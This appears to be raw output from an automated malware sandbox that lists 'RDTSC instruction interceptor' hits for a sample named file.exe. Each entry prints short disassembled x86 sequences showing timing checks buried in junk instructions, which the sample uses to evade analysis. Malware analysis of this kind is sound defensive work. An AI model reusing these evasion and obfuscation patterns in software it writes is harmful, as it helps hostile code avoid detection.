Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA972 second address: FBA986 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007F76C4CE1426h 0x00000009 jnc 00007F76C4CE1426h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA986 second address: FBA98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC0CA second address: FBC0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC0CE second address: FBC0D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2413 second address: FC241B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC241B second address: FC2430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F76C52A035Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2137 second address: FC213B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC213B second address: FC213F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1778 second address: FD1780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDAF28 second address: FDAF2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB084 second address: FDB093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jnl 00007F76C4CE1426h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB093 second address: FDB0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F76C52A0369h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB1D2 second address: FDB1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB1D6 second address: FDB1EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0364h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB324 second address: FDB345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1432h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB345 second address: FDB393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007F76C52A035Ah 0x0000000c js 00007F76C52A0370h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F76C52A0368h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F76C52A0369h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC2F6 second address: FDC2FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC2FB second address: FDC306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC306 second address: FDC319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C4CE142Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC319 second address: FDC31D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC31D second address: FDC323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC323 second address: FDC331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC331 second address: FDC346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF200 second address: FDF227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Fh 0x00000007 jmp 00007F76C52A0364h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF227 second address: FDF232 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F76C4CE1426h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF232 second address: FDF23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF23F second address: FDF245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF245 second address: FDF25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F76C52A0360h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF25F second address: FDF263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF263 second address: FDF269 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDC9 second address: FDEDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDCF second address: FDEDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 je 00007F76C52A0375h 0x0000000c push eax 0x0000000d jmp 00007F76C52A0367h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF9908 second address: FF9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F76C4CE142Dh 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F76C4CE1433h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 jmp 00007F76C4CE1430h 0x0000001e pop eax 0x0000001f jnl 00007F76C4CE1428h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF9950 second address: FF996C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0365h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1CB second address: FFC1EC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F76C4CE1426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F76C4CE1433h 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1EC second address: FFC1F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F76C52A0356h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC349 second address: FFC355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76C4CE1426h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC355 second address: FFC35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC35D second address: FFC3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F76C4CE1431h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F76C4CE1430h 0x0000001a popad 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F76C4CE1430h 0x00000026 js 00007F76C4CE1426h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101113C second address: 1011141 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011141 second address: 1011149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10112A6 second address: 10112AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10112AF second address: 10112C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1436h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101155D second address: 101157C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76C52A0356h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F76C52A035Ch 0x00000012 je 00007F76C52A0356h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101157C second address: 1011584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011584 second address: 101158A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011A28 second address: 1011A75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76C4CE142Ch 0x0000000b pushad 0x0000000c jng 00007F76C4CE1426h 0x00000012 jc 00007F76C4CE1426h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F76C4CE1434h 0x00000021 jmp 00007F76C4CE1436h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014EA5 second address: 1014EAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014F32 second address: 1014FD0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76C4CE1426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F76C4CE1428h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edx, dword ptr [ebp+1252F27Fh] 0x0000002e push 00000004h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F76C4CE1428h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a jno 00007F76C4CE143Bh 0x00000050 mov dword ptr [ebp+1247D523h], ebx 0x00000056 push 751DE100h 0x0000005b pushad 0x0000005c pushad 0x0000005d jmp 00007F76C4CE1435h 0x00000062 push ecx 0x00000063 pop ecx 0x00000064 popad 0x00000065 push edi 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10164EF second address: 1016531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76C52A0369h 0x00000008 jmp 00007F76C52A0365h 0x0000000d jmp 00007F76C52A035Dh 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016531 second address: 1016539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016539 second address: 1016556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76C52A0364h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016556 second address: 101655F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F310CD second address: F310D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E034F second address: 54E0366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 78C2h 0x00000007 mov dx, 5F0Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov eax, edi 0x00000014 push edx 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0419 second address: 54E041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E041D second address: 54E0423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006B2 second address: 55006B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006B6 second address: 55006BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006BC second address: 55006D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F76C52A0365h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006D7 second address: 550070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F76C4CE1436h 0x00000011 adc ch, FFFFFFA8h 0x00000014 jmp 00007F76C4CE142Bh 0x00000019 popfd 0x0000001a movzx ecx, bx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550070C second address: 5500712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500712 second address: 5500722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500722 second address: 5500728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500728 second address: 55007B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F76C4CE142Ah 0x00000008 pop eax 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F76C4CE1438h 0x00000017 and ah, FFFFFF98h 0x0000001a jmp 00007F76C4CE142Bh 0x0000001f popfd 0x00000020 mov di, ax 0x00000023 popad 0x00000024 mov dword ptr [esp], ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007F76C4CE1437h 0x0000002f pushfd 0x00000030 jmp 00007F76C4CE1438h 0x00000035 adc al, 00000058h 0x00000038 jmp 00007F76C4CE142Bh 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55007B0 second address: 55007B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55007B6 second address: 55007E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F76C4CE142Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F76C4CE1437h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55007E7 second address: 5500821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 2Bh 0x00000005 pushfd 0x00000006 jmp 00007F76C52A0360h 0x0000000b adc ecx, 4EDB1548h 0x00000011 jmp 00007F76C52A035Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ebx, 53EDD7B6h 0x00000025 mov ax, dx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500821 second address: 550085E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1438h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 jmp 00007F76C4CE1439h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550085E second address: 550089A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 46F3E5B2h 0x00000010 movsx ebx, ax 0x00000013 popad 0x00000014 nop 0x00000015 jmp 00007F76C52A0362h 0x0000001a push dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550089A second address: 55008A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55008C3 second address: 5500900 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76C52A035Ah 0x00000008 or cx, C458h 0x0000000d jmp 00007F76C52A035Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ax, B50Fh 0x00000019 popad 0x0000001a cmp dword ptr [ebp-04h], 00000000h 0x0000001e pushad 0x0000001f mov si, 3707h 0x00000023 mov ecx, 066E3CA3h 0x00000028 popad 0x00000029 mov esi, eax 0x0000002b pushad 0x0000002c mov bl, ah 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500900 second address: 5500904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500904 second address: 550091E instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F76C52A03B9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, 3AE06894h 0x00000016 movsx edi, cx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500988 second address: 550099D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550099D second address: 5500008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jmp 00007F76C52A035Fh 0x00000010 leave 0x00000011 jmp 00007F76C52A0366h 0x00000016 retn 0004h 0x00000019 nop 0x0000001a cmp eax, 00000000h 0x0000001d setne al 0x00000020 xor ebx, ebx 0x00000022 test al, 01h 0x00000024 jne 00007F76C52A0357h 0x00000026 xor eax, eax 0x00000028 sub esp, 08h 0x0000002b mov dword ptr [esp], 00000000h 0x00000032 mov dword ptr [esp+04h], 00000000h 0x0000003a call 00007F76C9A51633h 0x0000003f mov edi, edi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500008 second address: 550001F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550001F second address: 5500025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500025 second address: 5500120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F76C4CE1436h 0x00000011 push eax 0x00000012 jmp 00007F76C4CE142Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007F76C4CE1434h 0x0000001e pushfd 0x0000001f jmp 00007F76C4CE1432h 0x00000024 sbb esi, 04668418h 0x0000002a jmp 00007F76C4CE142Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F76C4CE1434h 0x0000003a adc ch, 00000078h 0x0000003d jmp 00007F76C4CE142Bh 0x00000042 popfd 0x00000043 call 00007F76C4CE1438h 0x00000048 pushfd 0x00000049 jmp 00007F76C4CE1432h 0x0000004e adc si, 5808h 0x00000053 jmp 00007F76C4CE142Bh 0x00000058 popfd 0x00000059 pop esi 0x0000005a popad 0x0000005b push FFFFFFFEh 0x0000005d pushad 0x0000005e movsx ebx, cx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushfd 0x00000064 jmp 00007F76C4CE142Ch 0x00000069 add ax, 7A68h 0x0000006e jmp 00007F76C4CE142Bh 0x00000073 popfd 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500120 second address: 550014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 2C789617h 0x0000000c pushad 0x0000000d mov edi, 0E7959D6h 0x00000012 mov eax, edi 0x00000014 popad 0x00000015 xor dword ptr [esp], 5AE2085Fh 0x0000001c pushad 0x0000001d call 00007F76C52A035Fh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550014E second address: 5500158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 movsx edx, si 0x0000000a rdtsc
